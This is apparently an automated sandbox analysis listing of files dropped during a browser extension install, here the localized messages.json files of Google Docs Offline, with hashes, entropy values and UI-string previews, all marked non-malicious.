Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
